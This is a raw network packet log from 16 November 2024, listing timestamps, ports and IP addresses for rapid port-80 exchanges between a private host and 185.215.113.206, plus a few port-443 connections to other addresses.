Nov 16, 2024 19:22:31.266220093 CET	49854	443	192.168.2.5	204.79.197.219
Nov 16, 2024 19:22:31.266401052 CET	49854	443	192.168.2.5	204.79.197.219
Nov 16, 2024 19:22:31.266413927 CET	443	49854	204.79.197.219	192.168.2.5
Nov 16, 2024 19:22:31.327732086 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.327797890 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.327804089 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.327840090 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.327848911 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.327934980 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.327977896 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.327982903 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.328016043 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.328047991 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.328057051 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.328079939 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.328085899 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.328111887 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.328145981 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.328152895 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.328175068 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.328207016 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.328218937 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.328253984 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.328407049 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.328453064 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.328458071 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.328486919 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.328496933 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.328526020 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.328536034 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.328568935 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.328573942 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.328608036 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.328617096 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.328649044 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.328655005 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.328684092 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.328689098 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.328732014 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.328771114 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.328779936 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.328811884 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.328844070 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.328852892 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.328871965 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.328883886 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.328907013 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.328918934 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.328952074 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.328991890 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.329021931 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.329055071 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.329061985 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.329102039 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.329104900 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.329143047 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.329152107 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.329184055 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.329219103 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.329224110 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.329252005 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.329281092 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.329284906 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.329289913 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.329317093 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.329329014 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.329349041 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.329353094 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.329381943 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.329415083 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.329433918 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.329441071 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.329446077 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.329456091 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.329478979 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.329484940 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.329510927 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.329519033 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.329552889 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.329561949 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.329617023 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.329636097 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.329663038 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.329665899 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.329703093 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.329715014 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.329754114 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.329762936 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.329809904 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.329842091 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.329859972 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.329883099 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.329890013 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.329935074 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.329960108 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.329967976 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.329978943 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.329999924 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.330005884 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.330039024 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.330086946 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.330126047 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.330135107 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.330167055 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.330172062 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.330200911 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.330205917 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.330233097 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.330239058 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.330265999 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.330272913 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.330300093 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.330303907 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.330332041 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.330338955 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.330362082 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.330394030 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.330406904 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.330431938 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.330463886 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.330476999 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.330509901 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.330513000 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.330543995 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.330558062 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.330575943 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.330585957 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.330619097 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.330624104 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.330657005 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.330667019 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.330688000 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.330701113 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.330719948 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.330725908 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.330759048 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.330769062 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.330801010 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.330810070 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.330832005 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.330837965 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.330872059 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.330873013 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.330904961 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.330936909 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.330965042 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.330969095 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.330986977 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.331000090 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.331017017 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.331049919 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.331054926 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.331083059 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.331114054 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.331127882 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.331177950 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.331211090 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.331223965 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.331253052 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.331259012 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.331290007 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.331326962 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.331357002 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.331387043 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.331408978 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.331418037 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.331437111 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.331469059 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.331475973 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.331501961 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.331526995 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.331533909 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.331547022 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.331566095 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.331579924 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.331600904 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.331612110 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.331634998 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.331645966 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.331666946 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.331681967 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.331700087 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.331732988 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.331744909 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.331768036 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.331782103 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.331814051 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.331820011 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.331845999 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.331851006 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.331876993 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.331886053 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.331911087 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.331913948 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.331942081 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.331967115 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.331974983 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.331984043 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.332006931 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.332015991 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.332039118 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.332045078 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.332072973 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.332114935 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.332122087 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.332153082 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.332194090 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.332216978 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.332259893 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.332267046 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.332303047 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.332304001 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.332334042 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.332340956 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.332365990 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.332375050 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.332397938 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.332407951 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.332431078 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.332442999 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.332463026 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.332489014 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.332508087 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.332511902 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.332544088 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.332554102 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.332576990 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.332586050 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.332619905 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.332624912 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.332657099 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.332680941 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.332690001 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.332700014 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.332721949 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.332753897 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.332762957 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.332787991 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.332819939 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.332829952 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.332853079 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.332856894 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.332885027 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.332916975 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.332917929 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.332935095 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.332948923 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.332957029 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.332993031 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.332998991 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.333030939 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.333039999 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.333080053 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.333108902 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.333118916 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.333139896 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.333154917 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.333178043 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.333190918 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.333221912 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.333230019 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.333272934 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.333292007 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.333311081 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.333319902 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.333353043 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.333370924 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.333384037 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.333425999 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.333434105 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.333466053 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.333482981 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.333519936 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.333532095 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.333564043 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.333581924 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.333595991 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.333605051 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.333627939 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.333636045 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.333661079 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.333692074 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.333702087 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.333724976 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.333730936 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.333755970 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.333765030 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.333789110 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.333795071 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.333821058 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.333827019 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.333853006 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.333856106 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.333884001 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.333888054 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.333915949 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.333920956 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.333947897 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.333955050 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.333981037 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.333986998 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.334013939 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.334032059 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.334048986 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.334049940 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.334079981 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.334089994 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.334111929 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.334142923 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.334162951 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.334176064 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.334177971 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.334223032 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.371687889 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.371742010 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.371742010 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.371769905 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.371782064 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.371807098 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.394181967 CET	443	49837	20.96.153.111	192.168.2.5
Nov 16, 2024 19:22:31.394238949 CET	443	49837	20.96.153.111	192.168.2.5
Nov 16, 2024 19:22:31.394498110 CET	49837	443	192.168.2.5	20.96.153.111
Nov 16, 2024 19:22:31.394511938 CET	443	49837	20.96.153.111	192.168.2.5
Nov 16, 2024 19:22:31.396066904 CET	49837	443	192.168.2.5	20.96.153.111
Nov 16, 2024 19:22:31.396138906 CET	443	49837	20.96.153.111	192.168.2.5
Nov 16, 2024 19:22:31.396193981 CET	49837	443	192.168.2.5	20.96.153.111
Nov 16, 2024 19:22:31.416977882 CET	443	49834	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:31.417001009 CET	443	49834	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:31.417018890 CET	443	49834	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:31.417037010 CET	443	49834	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:31.417047024 CET	443	49834	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:31.417056084 CET	443	49834	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:31.417196035 CET	49834	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:31.417196035 CET	49834	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:31.417272091 CET	443	49834	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:31.417337894 CET	49834	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:31.424841881 CET	443	49839	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.426960945 CET	49839	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:31.426985979 CET	443	49839	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.427642107 CET	49839	443	192.168.2.5	13.107.246.45
